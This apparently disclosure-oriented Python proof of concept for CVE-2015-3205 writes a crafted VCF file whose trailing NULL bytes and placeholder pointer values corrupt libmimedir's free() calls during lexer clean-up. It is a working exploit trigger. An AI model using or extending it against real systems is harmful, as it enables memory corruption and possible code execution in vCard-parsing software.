#!/usr/bin/python
# libmimedir-free.py
#
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)
#
# Jeremy Brown [jbrown3264/gmail]
# June 2015
#
# -Synopsis-
#
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.
#
# -Tested-
#
# libmimedir-0.5.1.tar.gz
# libmimedir-static 0.4-13.fc21
#
# -Notes-
#
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.
#

from struct import pack

def main():
    mime = "begin:vcard<x\nx;type=x;type=x,"
    mime += pack("<Q", 0x4141414141414141) # mdm->p
    mime += pack("<Q", 0x4242424242424242) # mdm->next
    mime += ":x>x.l:x"
    mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR
    
    print("Writing free.vcf to local directory...")
    
    try:
        with open("free.vcf", 'wb') as outfile:
            outfile.write(mime)

    except Exception as error:
        print("Error: %s\n" % error);
        return
    
    print("Done\n")
    
    return

if __name__ == "__main__":
    main()